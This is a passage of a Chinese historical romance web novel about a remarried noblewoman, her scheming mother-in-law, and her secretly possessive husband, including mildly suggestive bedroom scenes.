既然都说清楚了,又走到这一步,她只能点头,“我…相信你。” “总归你已经这样说了,那你便去处理吧。” “放心,不论凡事我都会跟鸾儿时时交代的,叫你心中安定。” 他拉过她的手,与他的牵在一处。 祝吟鸾本就垂眸,此刻清楚看到男人修长如玉,骨节分明的手穿过她的指缝,牢牢牵住她的手。 十指相扣,她只觉得亲近到密不可分的黏.腻。 她适才起来的躁动还没有散去,此刻甚至都不敢动了。 只能竭尽力气将话茬给挪开,“我方才失仪了,还请夫君勿怪。” 她第一次清醒的“口无遮拦”,说上这许多话。 想当初,她在卫家被逼迫得走投无路时,也只是讲了一句要和离,除此之外什么都没有说。 那时候,她觉得好累,根本不想费口舌。 现如今,她也不清楚,自己为何就没有在沈景湛面前端住了? 甚至还哭了。 或许真的是因为他是她的盟友,他知道她很多的晦涩,知道她的过往吧,反正他也不是第一次看见她的窘迫了,先前在有司衙门,她被人架到长凳上施以庭杖,都是他救的她。 所以,她也有点破罐子破摔了。 可若只是盟友,她与他又亲密…… 比如眼下牵着的手。 他说话就说话,做什么还要牵着她? “我去洗把脸,你…你先松开我。” 她找了借口。 谁知道沈景湛竟然起身牵着她过去梳洗,他又拧了帕子给她擦脸擦手。 要梳妆之时,祝吟鸾趁着他拧帕子的空隙往外叫明芽。 知道她的小心思,沈景湛也只是翘了翘唇角。 沈景湛离开去换衣衫之时,与她道沈老太太身子骨不舒服,已经找太医看过了,就是偏头疼,但今日要过去那边用晚膳,陪她说说话,解解闷。 祝吟鸾听罢,心里想着恐怕不止那么简单,还有今日朱夫人登门的事情,沈老太太可能要问。 她没说出来,点头道好。 梳妆好了之后,祝吟鸾让小丫鬟备了一些补品包好一道带过去。 幸而方才哭得不是太厉害,这脂粉一上,看不出来了,她松了一口气,“……” 今儿的晚膳,沈夫人也在。 见到沈夫人的脸色一如往常,仿佛今日就没有见过朱夫人般,祝吟鸾心里也不敢松懈。 她知道沈夫 人不似朱夫人和庞氏那般会把脸色时常摆在面上。 “来了?”沈老太太掀眼帘看过来,由着老妈妈扶着起身。 祝吟鸾让小丫鬟送了礼品上去,亲自过去帮着老妈妈一道搀扶沈老太太。 对方看向她凑近,起身动作一顿,打量她的微垂的小脸,道了一句,“来用个晚膳而已,何必带礼?” “祖母身子骨不好,孙媳不能时时尽孝跟前,只能略带薄礼以做微微弥补,还请您不要生气。” 倒是个嘴甜会说话的。 沈老太太呵笑了一下,她把手腕搭到了祝吟鸾手中,让祝吟鸾搀扶她。 沈夫人在一旁看着祝吟鸾的动作,倒也没说什么。 先前她对祝吟鸾有好感,但今日朱氏的面目实在可憎。 现在即便眼下祝吟鸾言行举止令人顺眼,她也喜欢不起来。 开席之后,沈老太太果然提了今日朱夫人登门的事情。 她没说太多,神色看着也正常。 只问祝吟鸾和沈景湛,“你们想好什么时候去祝家走一趟?” 沈家位列京城世家之首,多少人盯着。 祝家的事情当然要“妥善处理”,但怎么个处理的法子,沈景湛已经表态了,沈老太太并不打算指手画脚,她要先看看。 今儿听沈夫人说,祝家的当家夫人行径粗鄙,嘴脸尽显小人市侩,不宜多往来。 可沈景湛说了改日去祝家走一趟,还要听祝吟鸾的意思,看她想什么时候去就什么时候去,可把沈夫人气到了。 她这儿子才学高样貌俊,天好地好,却是个只知道听媳妇话的脑子? 不好做儿子的主,不知道如何说,也不明白如何跟有儿子护着的儿媳妇相与,她只能拐着弯来找沈老太太了。 可沈老太太却说,且看看。 沈夫人便也看看了,况且沈家都还有事没解决呢。 祝吟鸾和沈景湛还没搬出去,得阻止两人。 事情多得全都赶到一堆上去了。 祝吟鸾还没有想好怎么回沈老太太的话,沈景湛却已经开口,“这件事情还不急,祖母您别担心。” 他说话的时候也不忘记给祝吟鸾夹菜。 又被呛回去的沈老太太,“……” “这件事情不急,那什么事情该急。”沈老太太问。 祝吟鸾忍不住紧张,沈景湛柔声叫她吃,随后笑着回沈老太太的话,“仔细保养您的身子,才是眼下该急的事情。” 沈老太太没好气,“呵呵。” 祝吟鸾不吭声,用膳用得缓慢。 沈夫人看着她慢条斯理的动作,忽而开口,“祝氏。” 祝吟鸾看过去。 沈景湛也看过去。 察觉到自己儿子迅速逼视过来的目光,沈夫人忍不住在心里腹诽。 她道,“你既已为世子正妻,有些东西自然要接触,趁早上了手才成。” “明儿过来我这边跟着我看账,日后也好掌家。” 这便是沈侯爷给沈夫人出的主意了。 借着看账的名义,叫祝吟鸾去跟前,不仅能够在眼皮子底下考究她的品性,还能借此机会将人扣住,一箭双雕。 扣住了祝吟鸾,沈景湛还搬出去什么,扣着扣着,两人不就留在沈家了? 沈夫人当时也不知道可不可行,所以很纠结。 说实话,虽然祝吟鸾已经嫁过来了,是沈景湛的正妻,但出身太低了,她压根没想过要给祝吟鸾管家,亦或者让她接触管理侯府的事情。 万一办不好,丢了昭平侯府的面子,那沈家真是头一遭被笑了。 眼下沈景湛跟祝吟鸾是浓情蜜意,万一日后不成了呢?以后的事情谁说得准? 可沈侯爷那么说了,沈景湛惦记祝吟鸾多年一时半会怕是散不了,要为了留住儿子,没办法了,让她自己想想。 她考虑了几日,还没下定主意,谁知今日祝家朱氏过来竟然是那样的德行。 阴差阳错,倒是叫沈夫人做定了主意,就让祝吟鸾来接触接触管家吧。 小门户的姑娘,嫡母不疼,父亲不在意,想必也不会看账,管不了家的。 可以趁此借口打压规训一下她,避免日后出事。 祝吟鸾还在想沈夫人前面那句话是何意,不料沈夫人话锋一转,忽而提到看账管家,她愣了一下。 “怎么,你不愿意?”沈夫人没等到她的回答。 祝吟鸾对上沈夫人的目光,下意识又看沈老太太。 对方并不意外,显然是知道的,默许了。 她又看向沈景湛,后者开口,“家里自然有管事算账的先生和婆子们。” “鸾儿不想去就不去,若是想去,也可以跟着母亲学了玩玩。” 学了玩玩? 听到这句话的沈夫人和沈老太太,不约而同的不满扫了沈景湛一眼。 这是亲近的好机会,祝吟鸾没有拒绝的道理,她答应了。 “多谢婆母,媳妇一定跟着您好好学。”她恭顺道。 沈夫人,“嗯。” 接下来的晚膳除却沈老太太催两人生孩子之外,倒也没再说什么大事了。 膳后,小丫鬟说沈侯爷应酬回来了,不妨吃多了酒,沈夫人便先离开了。 祝吟鸾伺候着沈老太太吃汤药,等她躺下以后,跟着沈景湛离开。 夜晚静谧,沈景湛带着她在沈老太太这边的韵梅堂逛了逛。 这时节梅花自然没开,但有莲池红鲤,各类品种看得人目不暇接,红鲤的数量多且个头.肥.硕。 在莲池里竞相游来游去,旁边挂着琉璃灯,灯下看鲤,别有趣味。 祝吟鸾半蹲着给鲤鱼喂小食,沈景湛则帮她端着鱼食托盘,温声给她讲解着鲤鱼的品类。 今日,沈景湛沐浴之后没去书房,反而先比祝吟鸾还要先上榻。 她抹好养肤玉露之后过来,小丫鬟们灭了烛火添了香便出去了。 幔帐之内较为昏暗。 祝吟鸾过来的时候已经很小心了,沈景湛也没歇息,他的腿太长了,起身让她,却不防备叫祝吟鸾绊了被褥。 她快要摔扑到另外一边,却被沈景湛捞着手腕接到了怀里。 雪凝成的峰.撞.上.男人的胸膛,瞬间就没了形态。 更重要的是,还碰到不该碰的。 祝吟鸾啊呀一声,接住他的男人也倒吸一口凉气。 “对、对不住。”她手脚并用爬起来。 但锦裘实在太软太滑,就像是水做成的被褥一般,她慌乱之下,竟然又磕绊了一下。 祝吟鸾都忍不住尴尬到脸红,沈景湛揽扶着她的腰肢闷声笑。 笑声钻到她的耳朵里,那酥酥麻麻的感觉又窜起来了,祝吟鸾呼吸都开始不平稳,她还闻到了他身上的香气。 淡淡的,清冽十足。 她咬唇,撑手起来的掌心之下是男人壁垒分明的腹肌,人……人鱼线。 他的腹肌实在太.硬.实了。 若是握成拳头砸下去,恐怕还会疼了她的手。 重要的是,他身上好…烫。 简直是炙热无比。 祝吟鸾收回手,却被男人攥住她的腕子捉了过去,趴在了他的.胸.膛之上。 第46章 第46章她很容易受孕。 方才要越过他翻到里侧之时,她早就感受到了沈景湛的视线。 如今趴在他的胸膛上,羞怯怯抬眼,即刻.撞.入.了他幽暗的视线。 幔帐昏暗,偏生今夜又没有月,所以即便是打开窗桕,又预留了小盏烛火,根本照不到里面来。 这个吻是怎么起来的,祝吟鸾迷迷糊糊间已经有些记不清楚了。 是她先亲的沈景湛,还是沈景湛提着她的腰身将她往上提了提,随后吻下来的? 她的思绪沉溺游走在暧昧的接触当中,已经难以回想。 只能勉强记得他吻上来之时,她的睫羽都颤了一下,唇也下意识微微张开,她搁放在他肩膀之上的细指忍不住蜷缩起来,速度很慢很慢。 她的眼角出了泪,长发凌乱无序铺洒柔软的被褥上。 静谧宁静的夜里,她听到了她自己的声音一声声往外蹦出。 语不成调,断断续续,低柔婉转。 即便是听了几日,可她至今依然觉得陌生,脸红。 完全不敢相信,这竟然是她发出来的声音。 她想要抑制,却很难。 “……” 适才她还觉得沈景湛的身上热,此刻被他揽着吻,整个人也开始热了起来。 前些日落雨之后 ,天渐渐回暖,但到了夜里还是凉的,此刻她在幔帐当中,却觉得从里到外的热。 沈景湛的吻落到什么地方,那地方就仿佛被标记。 只觉得他吻过的地方就像是被人落下了火种,混着幔帐的躁热,渐渐烧了起来。 她已经没有办法管控自己的身子,这股乱七八糟的燥.热怎么都压不下去了,完全不受控制,她的脚趾忍不住蜷缩忙起来。 就像是这场情起的缘由,也不是由她能够控制的。 沈景湛的唇落到她的脸上,十分的轻柔缠绵,他的眸色漾着缱绻。 见到她眼角悬挂的泪珠,他温柔替她擦拭而去。 祝吟鸾察觉到她的感知都在随着男人指腹擦拭的方向而走。 其实……沈景湛的柔和里是透着强势的。 从成亲到现在,她用了好几日的功夫才渐渐认知,勉强且初步接受了沈景湛在床榻上下是两个人的事情。 他的大掌控制着她的腰肢,抚摸着她的脸,这些动作无一不彰显强制,她有时难以受下他的亲吻,羞怯得忍不住挪动想要挣脱喘一口气,他又会不动声色将她给拨回来。 但让她意外的是,她居然不厌恶沈景湛在床榻之上对她的强势和控制。 先前跟卫如琢的时候,他也时常控制她,吩咐她,让她如何… 祝吟鸾那时候很不欢喜,她是为了孩子才一直忍受。 若是有了孩子,她便可以对庞氏有所交代,也就不用再跟卫如琢行房了。 话又说回来,跟沈景湛产生亲密,虽然不是为了孩子,但也是为了应付沈夫人和沈老太太派过来的人,做戏给听墙角的人听而已。 这样的亲密迟早会结束,只要那些人不再过来就不必再继续了。 可一想到这样…那些人不来了,不用再跟沈景湛继续,她的心里竟然有些莫名其妙的空落落。 沈景湛会吻得她很舒服,她享受且喜欢被他亲吻。 若不吻了,这样的舒坦和愉悦自然不会再有,祝吟鸾忍不住惋惜…… 更何况,他甚至都没有与她真的行过鱼水之欢。 只是亲吻都令她舒服愉悦,那若是跟他行房呢? 她见过沈景湛的隐藏,也碰过他。 他身子骨没有任何的问题… 只肉眼观之,他胜过卫如琢太多了,那应当也是强过卫如琢的……吧? 今日是洞房花烛夜过后的第几日了? 沈老太太和沈夫人派过来的妈妈们倒是来了,但她也清楚,老妈妈们总不会一直都来的。 或许明日,或许今日。 思及此,她忽而觉得时日短暂,想要跟他更近一步。 意乱.情.迷之下,她生出这样想法之时,身子也无意之间朝着他那边靠近。 白嫩的手抚摸过男人硬朗结实的臂膀,抱着他窄劲的腰身,像只小猫咪一般蹭着他。 吻着她唇瓣的男人感受到她的动作,眸中划过一丝隐暗的笑意。 他越发加大力道深吻她。 娇柔的姑娘忍不住扬起白皙的颈子,呈现出一副惹人怜的模样。 沈景湛的手顺着往下。 祝吟鸾知道他要那样帮她了,可……可她今日或许是胡思乱想过头了,一想到享受愉悦的时日要结束,再也不会有了。 她想要紧紧抓住这样罕见的短暂的时光。 所以少见的胆大抗拒男人修长如玉的指骨,转而另寻别的。 恐怖的炙热又令她恐惧退缩,她又瑟躲了起来。 这一来二去,祝吟鸾觉得小腹…… 热流涌起。 似乎有什么要席卷而来。 “……” 饵料接连几日,撒了那么久,鱼儿即将上钩了。 越是到了这最后的关头,沈景湛知道越不能够急功近利,毕竟他也不差在这一时。 必要将“欲擒故纵”的功夫做足了,否则她日后回过味,必然发觉不对劲。 所以他稍微挪开了,又把大掌给探过去。 只是他没想到,祝吟鸾忽而停下所有动作猛然坐起,推开了他的手,也推开了他。 猝不及防的反抗。 男人眸光一闪,他隐藏许久的危险流露,却在下一刻看到指尖触碰沾染到的猩红而瞬间消失。 手忙脚乱的祝吟鸾自然没有留意到身边人的异常。 她尴尬得快要找个地缝钻进去了。 拢着她的衣衫坐起来。 可这癸水怎么会一瞬间涌现得那么多? “我……” “对不起。”不仅仅是被褥弄脏了,还有沈景湛的衣角,指尖。 “我也不知道怎么会……”在这个时候啊! “无事。”沈景湛已经收拾好了神色,恢复温柔。 他先起身,从旁边的置物架上面拿了他的衣衫先给她披上,把她给抱下来。 祝吟鸾连忙拒绝道,“你先不要碰我。” “我身上……脏。” “不脏。”男人却没有当回事情。 他刚要往外面叫丫鬟,看到她爆红得快要滴血的小脸。 还是没有叫丫鬟。 问了祝吟鸾在什么地方去找月事带? 祝吟鸾知道他不叫小丫鬟进来帮忙的用意是见她害羞了,为了周全她的脸面。 她的癸水来得太突然了,这会子衣衫不整,她的身上全都是沈景湛留下的气息和痕迹,方才又那么叫了…… 叫人进来看见,她真是没脸见人。 更重要的是,祝吟鸾此刻根本不想见人。 月信来了之后,她仿佛被人兜头浇了一盆凉水,瞬间就冷静下来了,回想在意乱情迷之下出现的想法,祝吟鸾觉得羞耻。 她怎么能够向他……求欢好呢? 沈景湛一定是发觉了,那时候他都拒绝了她,可谁知道竟然会出这样的事情来。 在卫家实在是太.操.劳了,她的月信一向不准,这些时日事情又多,她径直把月信给忘记了。 祝吟鸾已经换好了干净的中衣,她披着毛茸茸的斗篷坐在圆凳之上,抱着汤婆子看着沈景湛忙碌的背影。 他也换了干净的中衣,此刻在把弄脏的被褥给换下来。 祝吟鸾要自己来,可他说什么都不让,按着她的肩膀将她“扣”在了圆凳上。 沈景湛真的好高啊。 内室的床榻分明好大,可他站起来之后,竟显得床榻矮了。 他动作之间,薄薄的中衣贴在后背上,显出结.实.紧致的肌肉线条,宽阔的背膀,窄瘦的腰身,他的腿也好长…… 再看下去她又忍不住想到一些… 她的腿无处安放时只能悬挂在他腰间的画面。 怕那个羞耻的画面又冒出来,她连忙挪开眼睛。 却不知道她的视线撇开之后,男人余光顿了一下,“……” 祝吟鸾走神想着,沈景湛真的很好,很会疼人。 他位高权重到了这等地步,完全没有专横独断,认为闺房内事天生就该女子做,作为男子不该触碰。 他并不藐视弱小,也没有对她的癸水露出嫌弃和鄙夷。 在她特别难为情要帮他擦拭指尖的时候,他说他自己处理就好,让她休息,让她别放在心上,还安慰她女子来癸水是很正常的事情,不用羞耻回避,他也不会觉得肮脏。 真不知道被他放在心上的姑娘究竟是谁?若是沈景湛娶到了她,定然多加疼惜,将人捧在手心吧。 他想为那个姑娘守身如玉,她也不应该有那样的想法叫他为难的,情.欲.真是可怕,好似吃醉了酒,全然没办法控制。 思及此,祝吟鸾垂眸看着雪白的手炉套子,定了定心。 这癸水来了也好,说不定她的癸水好之后,那些来听墙角的老妈妈们也不会再来了。 如此最好。 “鸾儿。”他已经收拾好了被褥,过来牵他。 祝吟鸾听到男人头顶传来的温柔的声音,看着眼前他伸过来的匀净白皙的手指。 最后还是没有把手伸过去给他。 她撇开眼睛,抱着汤婆子嗯了一声,然后与他擦身而过。 男人的手顿在半空中,他垂眸看着空落落的手,“……” 祝吟鸾躺入内侧,好 一会沈景湛也上来了。 祝吟鸾的心都忍不住提了起来。 她竖起耳朵听着他的动静。 他躺下之后,朝着她靠近。 祝吟鸾的心开始慌张,她忍不住在想,沈景湛要做什么? 她都来癸水了,他还要亲她吗? 外面那些人应当走了吧?就算是没有走明日去解释解释就成了。 别说解释,那些人肯定都不会问的。 她和沈景湛分明也有亲密,虽然没有彻底进行,但也差不多了,只是事情被打断,亲密的时辰比昨日短了而已。 没想到,沈景湛什么都没做,他伸手过来只是想要替她掩掩被褥而已。 感受到被褥往上提了提,将她整个人包裹得严严实实后,男人的手没有停留,也随之收了回去。 沈景湛温柔坦荡,光明磊落…… 祝吟鸾忍不住再一次在心里鄙夷她自己的扭捏和晦暗。 没一会,她想着这件事情就这么睡了过去。 旁边人的呼吸平稳下来之后。 沈景湛的视线抬起,定在她的背影上,那些伪装出来的温柔体贴瞬间退却,露出他原本才有的幽暗和讳莫,开始了他肆无忌惮的打量。 男人看了一会,随后靠近。 从后面将她整个人彻底包裹抱住。 劳累过后的祝吟鸾此刻睡得很沉,对男人的动作毫无察觉。 他的动作极尽占有姿态,蹭着她的后颈,嗅着她的味道,轻吻她的耳廓,展露出他已经呈现了病态的阴暗。 “……” 翌日,祝吟鸾罕见地睡了许久。 她醒过来的时候,床榻上只有她一个人,天色已经很亮了,起码超过了早膳时分。 她竟然睡了这么迟! 昨日明明答应了沈夫人,今日要去她跟前看账的! 第一日便迟了,沈夫人那边!! 思及此,祝吟鸾脸色一白,连忙叫明芽进来给她梳洗。 明芽也的确来了,见到她行色匆匆,便知道她在忙些什么,跟她说不用着急,因为沈景湛那边已经去帮她给沈夫人传话了。 说她今日身子不舒坦,不能过去了。 还告诉她沈景湛一大早被叫到宫里去了,宫内的侍官来得匆忙,脸色也很焦急。 似乎是因为朝廷出了什么大事,说陛下震怒请沈景湛快去呢,但具体为着什么事情并不清楚。 沈景湛去忙朝廷的事情,祝吟鸾自然是管不上,也没心思管。 她眼下急的是沈夫人那边。 昨日答应得好好的,今儿就说身子骨不舒服还睡到日上三竿,沈夫人必然认为她在推脱。 饶是沈景湛帮忙她说话了,不论他说了什么,再把她晚起的责任揽到他的身上,但恐怕都会适得其反。 思及此,祝吟鸾忍不住皱眉抬手拍脑袋,怎么就睡过了? 这还是那么多年的头一遭。 无论如何,她都要过去一趟,而且要尽快。 “婆母在府上吗?”她问。 “在的。”明芽边帮她梳头边回话,“今儿国公夫人上门,夫人在正厅接待的,但国公夫人送了帖子略坐坐就走了,这会子夫人在后院呢。” “好。” 祝吟鸾快速梳妆,随意吃了几口早膳,便过去寻沈夫人了。 沈夫人已经不在后院了,她去了库房带着人清点前些时日沈家成亲收的贺礼——因为份量太多了,还没有清点完。 账房先生还有管事婆子们也在沈夫人旁边归账帮忙。 如同祝吟鸾所料,沈夫人的脸色不太好看。 她请安的时候,沈夫人直接没有理会。 祝吟鸾只能硬着头皮又请了一次安,并且解释说,她并非是故意迟到的,而是身子骨不舒坦所以才晚了。 “…既然身子骨不舒坦,怎么不多躺躺?”沈夫人总算是看了她一眼,开口应声了。 与此同时,她窥瞧着祝吟鸾的脸色,看起来的确不怎么好。 祝家女适才过来的行色也匆匆,走得太快了裙边随着步履而飞扬,她很急切,的确不像是故意,或者找借口推脱。 饶是从细枝末节察觉到了苗头,沈夫人心里对她的不悦也不曾彻底消散。 沈景湛出门之前,过来跟她说了,祝吟鸾昨日被他折腾得太累,今日实在是醒不过来,看账的事情过些时日再说吧。 不知道昨日祝吟鸾癸水来了,沈夫人猜测,沈景湛很有可能是故意折腾祝吟鸾的,目的就是叫她早起迟到。 毕竟她这儿子实在多智,或许已经看出来她让祝吟鸾去看账的真实原因是怕两人搬出去另府别住。 这个祝家女看起来安分守己,目前没有察觉到什么妖娆的行径,应当不会故意缠着沈景湛,刻意叫他折腾她累了早起迟到。 进门几日就得罪婆母,这样做对她而言,实在是得不偿失。 况且,沈夫人也问了昨日听墙角的老妈妈们,讲说是两人的确是行房了,夜里房内还出了突发的异样动静。 但两人并没有叫小丫鬟进去,也不知道是怎么了。 “媳妇的身子不碍事,多谢婆母关心。”祝吟鸾字斟句酌,十分小心。 沈夫人捧着账本转过来看着她,祝吟鸾乖乖站着任由对方打量。 好一会,沈夫人忽而想到一件事情。 沈景湛之前说,祝家女嫁入卫家几年都没有怀孕,是因为他在其中弄鬼,给祝家儿郎下了药。 就算是相信了他的确会那么做,但此刻沈夫人却也觉得,或许可以趁此机会让太医来给祝家女看看身子,看看她到底能不能生? 若是不能生,这世子正妻的位置,她必然是坐不长久的。 思及此,沈夫人把手里的账本递给身侧的管事媳妇,“我瞧着你的脸色很不好,听澜临出门之前也跟我说了,在家要照顾好你,我看啊还是去找个太医来看看吧。” 闻言,祝吟鸾觉得事情恐怕没那么简单。 沈夫人找太医来探脉,是想看她到底是不是装病吗? 但她若是拒绝,岂不是直接就是承认她在佯装? 想不到什么万全之策,祝吟鸾也只能点头,“多谢婆母关怀。” 沈夫人递了一个眼神给身侧的婆子。 那婆子跟了沈夫人多年,都不用沈夫人多说就知道沈夫人眼神里的深意。 于是去请太医过来的路途当中,已经打点好了,要让太医给祝吟鸾探什么脉象。 在等待的过程中,沈夫人也没有叫她做事。 祝吟鸾只能够坐在旁边等待。 幸而没多久太医就来了。 只是祝吟鸾没有想到,沈夫人叫过来的这个太医有些面熟。 似乎是……去年在卫家的时候,帮她把脉的那个太医。 对方见到她,也认出了她,明显是诧然她身份的转变,但没有露出风声。 正厅的屏风之内,太医很快就把了脉相。 “少夫人身子骨虚弱,平日里要多补补。” 听到这句话的沈夫人蹙眉,“是不好吗?” 太医一愣,想起来路上婆子塞了银钱叮嘱的事情,连忙道,“并非如此。” “少夫人身子骨的虚弱乃是月信来临所致,月信走了之后便会转好,只不过在此期间要多注意休息和保养。” 沈夫人松了一口气,“那便好,多谢太医了。” 祝吟鸾一向很会察言观色,哪里会察觉不出异常? 太医和沈夫人的话乍一听是在关怀她这次的不舒服,但恐怕不尽然。 …如果她没有猜错的话,是为了看她能不能怀孕吧? 只不过,这位太医说的话,怎么跟上次差不多? 会不会是沈家的人去递帖子,沈景湛在宫里听到了风声打点好了太医? 祝吟鸾在心里想着,没有做声。 送走了太医之后,沈夫人对着祝吟鸾道,“你身子骨既然真的不舒服,那便去休息吧。” 她还让人给祝吟鸾找了不少补品一道带回去。 原本祝吟鸾说不碍事,回去也是闲着,想在旁边看看,也好提前学学。 但沈夫人却没叫她留下,所以,祝吟鸾也 只能离开了。 祝吟鸾走了没多久,送太医出府的婆子也回来了。 为确保万无一失,婆子送太医出去的时候,又一次具体问了祝吟鸾脉相到底怎么样,能不能生? “太医说少夫人的身子骨没有问题,能生的。” “果真吗?”沈夫人还是不太相信。 “真的,太医还说了,少夫人前些年想必是吃了不少助力身子的补品,所以她月信时日不稳,但月信期间身子骨不会疼痛,其实她的体质很容易要孩子。” “很容易要孩子?”沈夫人忍不住挑眉。“真是这么说的?” 太医这么说的话,那不是意味着她很快就能够抱上孙子了吗? 婆子点头,“太医真是这么说的,夫人您就放心吧。” 高兴没多久,沈夫人的脸色又沉重下来了。 祝家女的身子骨容易受孕,在这般情况之下,她跟卫家儿郎都要不上孩子。 沈景湛到底给对方放了多少药? 该不会叫卫家的断子绝孙吧! 卫家的长房似乎就卫如琢那么一个长子,两个外嫁出去的女儿…… 倘若真叫人断子绝孙了,这……真是作孽啊。 “……” 祝吟鸾回了院子,她惴惴不安想着太医上门把脉的事情。 这一整日都思索不出结果,索性在沈景湛夜里回来的时候把这件事情告诉他,还问了他。 “夫君有派人打点太医吗?” 第47章 第47章你喜欢我这个人,还是我的身…… 正在换外衫的男人眼睫微微一顿。 他的动作实在太细微了,且他在屏风侧边背对着祝吟鸾,妆奁台的铜镜又在另外一处,并不能透过铜镜看到男人的神色。 因此一直在留意着沈景湛反应的祝吟鸾并没有发现。 “…嗯。”沈景湛轻声应了。 他将外衫悬挂到黄花梨木做的置衣架上,走过来净手。 温声跟她道,“今日朝廷有事陛下急召,我进宫之前虽然跟母亲说了你身子骨不舒服的事情,但也怕她不了解你的性子多加刁难你,便让家中随从留意着,若有情况随时来告诉我。” 看来太医这么说,的确是因为沈景湛收到了口信,暗中打点过。 闻言,祝吟鸾的心定下来。 可没过多久,她看着男人擦手的动作,又忽而想到先前在卫家的时候…… 这位太医给她把脉,说的措辞也跟今日告知沈夫人的话差不多…都说她身子骨好,没问题。 可那会她和沈景湛还不认识呢。 有些过于巧合了吧?这到底哪里不对劲? 冥冥之中祝吟鸾总觉得什么地方连不上,可又说不上来具体是哪里。 “鸾儿在想什么?”他已经放下帕子坐到她的身边。 “没、没什么。” 她不打算将心里的想法告诉沈景湛。 就算两人是盟友,但也不能坦诚相对到事无巨细。 经年经事走到如今,祝吟鸾很清楚,若被旁人完完全全知道自家事,对方定然会轻视你,做人做事都应当有所保留。 她不想说,沈景湛善解人意,没跟着追问。 男人伸手过来,是朝着她小腹的方向。 祝吟鸾忍不住往后一躲,“……” 他的手一如昨日晚上要牵她,却牵了一个空,顿在半道。 祝吟鸾都不知道自己下意识莫名在躲些什么,总之沈景湛伸手过来之时,她身子就先一步动了。 或许是因为白日里想定了主意,觉得不能够再随心所欲地接受沈景湛的接触。 免得那股对他渴望更近一步的亲密念头又窜出来,促使她继续在床榻之上做出难以“启齿”的“求好”举动,所以才会变成这样。 男人倒不尴尬,他收回手,瞧着她躲避的小脸,大方笑问,“鸾儿是怕我吗?” 祝吟鸾连忙摇头。 她鬓边的珠钗也跟着晃动,碰撞出轻微悦耳的清响,她说,“没有。” “那是为何?”他想要一个借口。 “我……”她怎么解释呢? 难不成要跟沈景湛直接说明,她很喜欢跟他接吻,喜欢被他抱着亲遍全身。 还喜欢他的大掌在她.身上游走作乱。 甚至……甚至不满足他用手帮她,想要跟他更近一步了? 不,她就算是死,也不能说。 怎么能说呢? 单是想着她都不自然起来。 祝吟鸾脑中思绪飞速在转,小丫鬟们进来摆膳了,她看着圆桌,总算是找到了措辞,压低声音道,“我觉得我们还是应当保持一些距离。” “鸾儿已经学会叫.床了吗?”所以不需要他的帮忙了。 虽然内室就两人,小丫鬟们都在外室忙碌,内外室有些距离,他说话的声音也很轻,并不会传到外面去。 可沈景湛直接开口说出叫.床.两个字,还是让祝吟鸾的小脸在瞬间飞染上了霞云。 她不仅脸红,还瞬间抬看向他,眸中闪着震惊和不可置信,眼神仿佛也在无声问:你在人前说这些做什么? 男人迎上她的目光,见她神色可爱,越发没忍住轻微扬起唇角,“抱歉,我失言了。” 祝吟鸾,“……” 她往外看一眼,攥紧手里的暖炉,竭力压下面上的不自然,“人前你不要这样讲话,万一被谁听去…” 想跟她说即便是有人听去,在他的地界之上,谁都不敢乱嚼舌根。 但沈景湛始终没有这样说,他点头顺着她的意思,“好,听鸾儿的。” 她的脸红得太厉害了,沈景湛给她倒了一盏茶。 祝吟鸾捧着喝了一口,的确好了些。 正色之后,她回他的话,“…并非是你猜的那样。” 离开了沈景湛,让她夜里自己发出暧昧的声响,还是…有些难的,即便这会的她已经比最开始要懂上许多,还积攒了些许经验。 但老妈妈们是经年的人,有了前几日的对比,万一弄巧成拙,被对方察觉破绽可就不好了。 “我只是觉得……”她欲言又止。 “鸾儿有话但说无妨,我说过的,你在我面前不必遮掩。” 他温声,神色看起来如常,好似没有因为她的疏远躲避而生气。 见状,祝吟鸾的心又定了定。 话又说回来,沈景湛这样的反应才是正确的,他对她没有情意,自然不会因为她的疏远而生气,至多就是不解。 时至今日,祝吟鸾也总算回过味明白,沈景湛为何要挑成亲四年又被休弃,无权无势的她娶回沈家。 因为她心“死”了,而且没权没势意味着好难捏好对付,若是她违背最初的盟约,他也可以同她和离。 纵然她有义母义父靠着,她背后的母族施家总归是沈家的旁系,还能为她与沈家翻脸吗? 平心而论,沈景湛人生得俊逸,性子又好,行事体贴,做起戏来,一口一个鸾儿,沈夫人和沈老太太都挑不出破绽。 若是闺中没出过阁的姑娘,恐怕招架不住他的温情呵护。 恰恰也正是因为如此,她更不能辜负沈景湛的信任,她不能喜欢他,哪怕只是单纯喜欢跟他行房亲密都不行,如此也算是纠缠了,辜负了。 思及此,祝吟鸾越发觉得她这癸水来得及时。 恰让她“拨乱反正”,冷静下来。 “我们之间本就是……”她没说做戏,但沈景湛这样聪明的人,一定明白。 “所以我觉得在人后就不必如此事无巨细的亲密了,这样不好。” 言外之意,就是要避嫌一二。 她说完了,沈景湛许久没有说话,只是看着她微垂的小脸。 好一会,他开口,但不是提这件事情,而是关怀,“鸾儿的手炉是不是冷了?我去帮你换一个。” 男人朝她伸手要,并没有直接拿。 光顾着说话,手炉的确是有些凉了下来。 祝吟鸾想说让明芽去换就好,但沈景湛已经起身了,她只能递过去。 手炉不大,传递的期间,祝吟鸾十分小心避免碰 触到沈景湛的手。 男人居高临下看着她的小动作,“……” 祝吟鸾并不知道男人看着她的手时,眼底隐约间流转幽深。 只在想,所以……刚刚沈景湛忽而伸手过来是想要帮她试探暖炉温热与否吗? 应当是的。 她又一次误会了他的举动。 唉,弄明白真相的她只能在心里于事无补的叹气。 误会归误会,她方才做好的打算还是得继续下去。 原想着沈景湛换了手炉之后,再问他要个确切的回话,以此达成共识,方便日后行事。 但小丫鬟们已经摆好了膳食,祝吟鸾只能先过去用膳。 当着小丫鬟们的面,两人都很有默契。 沈景湛一如往常照拂她,时不时给她夹菜舀汤,让她多吃一些。 祝吟鸾谢过之后,柔声问他今日受急召进宫,事情棘手吗? 沈景湛早出晚归,早就过了晚膳时辰,今儿他也提前派了人来知会,让祝吟鸾自己用膳不必管他,但祝吟鸾也不饿,便一直在等。 他回来后,她惦记着沈夫人今日找太医的事情追着就问了,别的暂时没顾上。 “不算棘手,只是突发的案子牵扯官员众多,还有一些是德高望重的老臣,中书的人压不住,陛下便叫了我去。” 朝廷的事情祝吟鸾不懂,也不好插手,便只能点头应哦,装模作样给他夹了菜,让他多吃一些。 用过了晚膳,梳洗沐浴。 上了床榻,内室恢复静谧。 “今日,外面是不是没有人来?”祝吟鸾留意着凝神静听,的确没听到动静,但不是很确认,所以她问了沈景湛。 旁边的男人轻嗯,“没有来。” 是今日沈夫人知道她来了癸水,所以没有叫人过来听了。 今日不过来,过些时日是不是也不会过来了? 她和沈景湛的亲密,很有可能因此便要彻底结束了…… 